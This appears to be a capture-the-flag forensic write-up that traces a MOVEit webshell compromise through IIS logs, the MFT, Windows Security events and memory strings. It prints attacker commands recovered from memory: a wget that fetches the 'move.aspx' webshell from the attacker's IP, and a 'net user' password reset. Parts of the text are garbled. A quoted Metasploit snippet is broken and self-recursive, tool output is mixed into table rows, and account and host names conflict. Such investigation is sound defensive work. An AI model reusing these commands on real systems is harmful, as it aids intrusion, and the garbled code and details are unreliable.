

I-Like-To Challenge

Sherlock Scenario

We have unfortunately been hiding under a rock and do not see the many news articles referencing the recent MOVEit CVE being exploited in the wild. We believe our Windows server may be vulnerable and has recently fallen victim to this compromise. We need to understand this exploit in a bit more detail and confirm the actions of the attacker & retrieve some details, so we can implement them into our SOC environment. We have provided you with a triage of all the necessary artefacts from our compromised Windows server. PS: One of the artifacts is a memory dump, but we forgot to include the vmss file. You might have to go back to basics here...

Task 1:  
Name of the ASPX webshell uploaded by the attacker?

I explored the directories and opened several files with Notepad++ but found nothing until I found the path C:\Users\Bubble\Desktop\Triage\uploads\auto\C%3A\netpub\logs\LogFiles\W3SVC2 with a file name "u\_ex230712.log" While opened the file as Notepad++ I filtered for 'aspx' and noticed the few of the questions in the same place.

```
2023-07-12 11:08:37 10.10.0.25 POST /guestaccess.aspx - 443 - 10.255.254.3 Ruby - 200 0 0 207
2023-07-12 11:18:36 10.10.0.25 GET /moveit.aspx - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 - 404 0 2 106
2023-07-12 11:18:36 10.10.0.25 GET /favicon.ico - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 https://moveit.htb/moveit.aspx 200 0 0 369
2023-07-12 11:19:46 10.10.0.25 GET /moveit.aspx - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 - 404 3 50 36
2023-07-12 11:20:37 10.10.0.25 GET /moveit.aspx - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 - 404 3 50 35
2023-07-12 11:24:43 10.10.0.25 GET /move.aspx - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 - 200 0 0 1179
2023-07-12 11:24:47 10.10.0.25 POST /move.aspx - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 https://moveit.htb/move.aspx 200 0 0 159
```

Answer: move.aspx

Task 2:  
What was the attacker's IP address?

In the picture above

Answer: 10.255.254.3

Task 3:  
What user agent was used to perform the initial attack?

In the picture above

Answer: Ruby

Task 4:  
When was the ASPX webshell uploaded by the attacker?

This question was one of the last ones left for me, I looked everywhere for it, the strings output, tried greps, all the logs from the triage directory and nothing was found. I tried to use the MFT and filter for the webshell name move.aspx and found the answer.

Entry Number	Sequence Number	Parent Entry Number	Parent Sequence Number	In Use	Parent Path	File Name	Extension	Is Directory	Has Ads	Is Ads	File Size	Created0x10
=	=	=	=								=	=
1293	31	274233	9		.\MOVEitTransfer\wwwroot	move.aspx	.aspx				1400	2023-07-12 11:24:30
14043	1				C:\Windows\System32\cmd.exe						0	2018-09-15 07:14:01
20148	1				Author: Eric Zimmerman (aericzimmerman@gmail.com) https://github.com/EricZimmerman/NFTEDad						0	2018-09-15 07:14:15
23355	1				Command line: -F C:\Users\Bubble\Desktop\Triage\uploads\ntfs\%SC%SC.%SC%3A%\\$MFT --de 1293						4349	2018-09-15 07:16:49
23356	1				Warning: Administrator privileges not found!						4349	2018-09-15 07:16:48
23358	1				File type: MFT						1361	2018-09-15 07:14:12
23359	1				Processed C:\Users\Bubble\Desktop\Triage\uploads\ntfs\%SC%SC.%SC%3A%\\$MFT in 10.7436 seconds						1361	2018-09-15 07:16:49
23361	1				C:\Users\Bubble\Desktop\Triage\uploads\ntfs\%SC%SC.%SC%3A%\\$MFT: FILE records found: 318,161 (Free records: 214,500) File size: 530.3MB						1361	2018-09-15 07:16:48
23362	1				Dumping details for file record with key 00000500-0000001F						6801	2018-09-15 07:16:49
23363	1				Entry seq #: 0x00-0x0f, Offset: 0x01400, Flags: 0x00, Log seq #: 0x20395271, Base Record entry seq: 0x0-0x0						740	2018-09-15 07:14:12
23365	1				Reference count: 0x2, Fixup Data Expected: 0x-00, Fixup Data Actual: 00-00   00-00 (Fixup OK: True)						740	2018-09-15 07:13:56
23366	1				*** STANDARD INFO ***						740	2018-09-15 07:16:49
23368	1				Attribute #: 0x0, Size: 0x00, Content size: 0x40, Name size: 0x0, ContentOffset 0x18. Resident: True						740	2018-09-15 07:16:48
23369	1				Flags: Archive, Max Version: 0x0, Flags 2: None, Class Id: 0x0, Owner Id: 0x0, Security Id: 0x4E0, Quota charged: 0x0, update sequence #: 0x6BCFAC40						1042	2018-09-15 07:14:12
23370	1				Created On: 2023-07-12 11:24:30.4297594						1042	2018-09-15 07:13:56
23371	1				Modified On: 2023-07-12 11:24:30.4610760						1042	2018-09-15 07:13:56
					Record Modified On: 2023-07-12 11:24:30.4610760						1042	2018-09-15 07:13:56
					Last Accessed On: 2023-07-12 11:24:30.4610760						1042	2018-09-15 07:16:49

Answer: 12/07/2023 11:24:30

Task 5:  
The attacker uploaded an ASP webshell which didn't work, what is its filesize in bytes?

This question was also one of the latest question left, just because I find the answer in task 4 with the MFT so I also filtered for asp and checked the file size field

Parent Path	File Name	Extension	Is Directory	Has Ads	Is Ads	File Size	Created0x10
=	=	=				=	=
.\inetpub\wwwroot	aspnet_client		<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	0	2023-06-13 09:55
.\inetpub\wwwroot\aspnet_client	system_web		<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	0	2023-06-13 09:55
.\inetpub\wwwroot\aspnet_client\system_web	4_0_30319		<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	0	2023-06-13 09:55
.\inetpub\wwwroot	moveit.aspx	.aspx	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	1362	2023-07-12 11:17

Answer: 1362

Task 7:  
Which tool did the attacker use to initially enumerate the vulnerable server?

I found the answer from the same file from task 1 - u\_ex230712.log

Answer: nmap

I noticed that we have the Security logs so I opened it with Log Explorer and filtered for Event ID 4724 which records an accounts attempts to reset the password for another account. The answer format is UTC so we need the view the XML view to see UTC.

The screenshot displays the Windows Security application with the 'Security event logs' tab selected. The logs show several 'Audit Success' events from July 12, 2023, at 4:09:27 AM, all with Event ID 4724 and Source 'Microsoft-Windows User Account Manager'. The user 'mover' is listed as the subject for all these events. The computer name is 'BIMOVABLE'.

Below the logs, the 'Event Properties' window is open for Event ID 4724. The 'Standard' tab is selected, showing the following details:

- Guid:** {54849625-5478-4994-a5ba-3e3b0328c30d}
- EventID:** 4724
- Version:** 0
- Level:** 0
- Task:** 13824
- Opcode:** 0
- Keywords:** 0x8020000000000000
- TimeCreated:** [SystemTime] 2023-07-12T11:09:27.8648235Z
- EventRecordID:** 60772
- Correlation:**

The 'Description' tab is also visible, showing the event description: 'An attempt was made to reset an account's password.' The 'Subject' section lists the Security ID as 5-1-5-21-4088429403-1159899800-2753317549-1006, the Account Name as 'moversvc', the Account Domain as 'MOVER', and the Logon ID as '0xb05ab'. The 'Target Account' section lists the Security ID as 5-1-5-21-4088429403-1159899800-2753317549-1006, the Account Name as 'moversvc', and the Account Domain as 'MOVER'.

Answer: 12/07/2023 11:09:27

I used the Security logs and filtered for event ID 4624 and also filtered for the service user 'moveitsvc'

Type	Date	Time	Event	Source	Category	User	Computer	Description
Audit Success	7/12/2023	4:11:18 AM	4624	Microsoft-Windows-Logon	N/A	movier		An account was successfully logged on.
Audit Success	7/12/2023	4:11:18 AM	4624	Microsoft-Windows-Logon	N/A	movier		
Audit Success	7/12/2023	4:11:15 AM	4624	Microsoft-Windows-Logon	N/A	movier		
Audit Success	7/12/2023	3:31:52 AM	4624	Microsoft-Windows-Logon	N/A	movier		
Audit Success	6/13/2023	1:00:46 AM	4624	Microsoft-Windows-Logon	N/A	movier		
Audit Success	6/13/2023	1:00:34 AM	4624	Microsoft-Windows-Logon	N/A	movier		
Audit Success	6/13/2023	1:00:28 AM	4624	Microsoft-Windows-Logon	N/A	movier		
Audit Success	6/13/2023	1:00:26 AM	4624	Microsoft-Windows-Logon	N/A	movier		
Audit Success	6/13/2023	1:00:26 AM	4624	Microsoft-Windows-Logon	N/A	movier		
Audit Success	6/13/2023	1:00:25 AM	4624	Microsoft-Windows-Logon	N/A	movier		
Audit Success	6/13/2023	1:00:12 AM	4624	Microsoft-Windows-Logon	N/A	movier		
Audit Success	6/13/2023	1:00:11 AM	4624	Microsoft-Windows-Logon	N/A	movier		
Audit Success	6/13/2023	1:00:38 AM	4624	Microsoft-Windows-Logon	N/A	IMMOVABLE		
Audit Success	6/13/2023	1:00:28 AM	4624	Microsoft-Windows-Logon	N/A	IMMOVABLE		
Audit Success	6/13/2023	1:00:22 AM	4624	Microsoft-Windows-Logon	N/A	IMMOVABLE		
Audit Success	6/13/2023	1:00:20 AM	4624	Microsoft-Windows-Logon	N/A	IMMOVABLE		
Audit Success	6/13/2023	1:00:20 AM	4624	Microsoft-Windows-Logon	N/A	IMMOVABLE		
Audit Success	6/13/2023	1:00:19 AM	4624	Microsoft-Windows-Logon	N/A	IMMOVABLE		

Answer: rdp

Answer is in the same place like in task 9

Answer: 12/07/2023 11:11:18

```

I found the answer from the same file task1-u_ex203721.log
10.255.254.3 Mozilla/5.0+(X11;Linux;x86_64;rv:102.0)+Gecko/20100101+Firefox/102.0
- 10.255.254.3 Mozilla/5.0+(X11;Linux;x86_64;rv:102.0)+Gecko/20100101+Firefox/102.0
10.255.254.3 Mozilla/5.0+(X11;Linux;x86_64;rv:102.0)+Gecko/20100101+Firefox/102.0
- 10.255.254.3 Mozilla/5.0+(X11;Linux;x86_64;rv:102.0)+Gecko/20100101+Firefox/102.0
10.255.254.3 Mozilla/5.0+(X11;Linux;x86_64;rv:102.0)+Gecko/20100101+Firefox/102.0
- 10.255.254.3 Mozilla/5.0+(X11;Linux;x86_64;rv:102.0)+Gecko/20100101+Firefox/102.0
10.255.254.3 Mozilla/5.0+(X11;Linux;x86_64;rv:102.0)+Gecko/20100101+Firefox/102.0
- 10.255.254.3 Mozilla/5.0+(X11;Linux;x86_64;rv:102.0)+Gecko/20100101+Firefox/102.0

```

Answer: Mozilla/5.0+(X11;+Linux+x86\_64;+rv:102.0)+Gecko/20100101+Firefox/102.0

This question was killed me, I looked on the walkthrough for it:

```

# --no-curl -- /usr/AT08_SherlockLib/lib/Traps/uploads
./initid -f ./analysis/moview-metasploit-module.rb
# --no-curl -- fail
# --no-curl -- "UPDATE sessiontransfer.users SET sessionid='%(sessionid)s' WHERE Username='%(username)s'"
def populate_session
  # Get the sessionid from the cookies
  fail_with(Msf::Exploit::Fail0r::Session0r, "Could not find sessionid from cookies") unless cookies =~ /sessionid=([0-9]+)/i
  sessionid = Regexp.last_match(1)
  # sessionid = "1234" # this can be any int value
  # sessionid = "1234" # this can be any int value
  # Get the sessionid from sessiontransfer
  print_status "[*] Get the sessionid and sessiontransfer"
  populate_session
end

```

While this is the default Metasploit value, the TA would likely be able to change this if they wanted. To confirm the instance ID, you can start a mysql server and load in the 'moveit.sql' file that was provided:

```
systemctl start mysql
```

```
use moveit;

exit
mysql moveit < moveit.sql
```

```
select LogTime, InstID, Username, IPAddress, FileName, FolderPath, Action from log;
```

[illegible]

Just like I did in the last task 15, I tried to use 'strings' again on the vmem file on the webshell extension 'aspx'

```
Create ASP_colorschemepreview.aspx
wget http://10.255.254.3:9001/move.aspx -OutFile move.aspx
aspx?
<form name="cmd" method="post" action="./move.aspx" id="cmd">
  <add value="default.aspx" />
```

I searched everywhere and everything, I looked at the walkthrough here too

Run the strings command against the provided memory file:

```
strings I-like-to-27a787c5.vmem > strings.vmem
```

Grep for the move.aspx webshell from the strings.vmem file, displaying 20 lines of context (-C20):

```
grep move.aspx strings.vmem -C20 | less
```

Pipe the results into `less`, then search for the text `'title'` to find the title header of the webshell:

```
<title>jawen.asp.net%0Ashell</title>  
<body>  
    <form name="" method="post" action="/move.aspx" id="cmd">  
        <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/eEPdWLLtEzJMAOMDgqAOHkZNOVZIvTlZti+HEKha/q+A=SP6tvMtJA8upnmGDI/" />  
        <input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="F&R&ID#" />  
        <input type="hidden" name="__EVENTVALIDATION" value="/cLmNMBI3If7CwciYj7Asy9SbmwiAAxAVIV7AyahBDDucacX2JDMcKrVRMBUusvgkfJfOP+BoskdQoJAd73GUJSUmhwQ2las+xOrnkvgyllHWKg=/ " />  
        <input name="txtArg" type="text" value="whoami" id="txtArg" style="width:28px;z-INDEX: 161; LEFT: 405px; POSITION: absolute; TOP: 20px;" />  
        <input type="submit" name="testing" value="execute" id="testing" style="z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px;" />  
        <papn id="lblText" style="z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px"><Command:& %span>  
            <br/>  
    </body>  
    </HTML>  
  
    + Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) →  
    or http://michaeljaw.org @#2007  
    ection/javascript" name=__utmSource"/zePmkRGdySVrFM">  
function() {  
    $.smartBanner({  
        title: 'MoveIt Mobile!',  
        author: 'Progress Software Corporation',  
        price: '$200',  
        iosgoogleplay: 'On the Google Play',  
        icon: 'Images/MoveitMobileIcon.png',  
        button: '>View'  
    });  
}
```

Task 15: What did the TA change the our moveitsvc account password to?

\*I found this answer after only answering 5 questions from the beginning\*

I tried to run the vmem file but like in the scenario there is no vmss file so we the volatility did not worked.

I tried my luck and used 'strings' on the vmem file and used 'grep' to find 'moveitsvc' and right at the end I found the command

```
remnux@remnux:--$ strings I-like-to-27a787c5.vmem | grep -i moveitsvc
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
```

```
net user "moveitsvc" StrongP4ssw0rd
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
moveitsvc.WIN-LR8T2EF8VHM.002
remnux@remnux:--$
```

Answer: StrongP4ssw0rd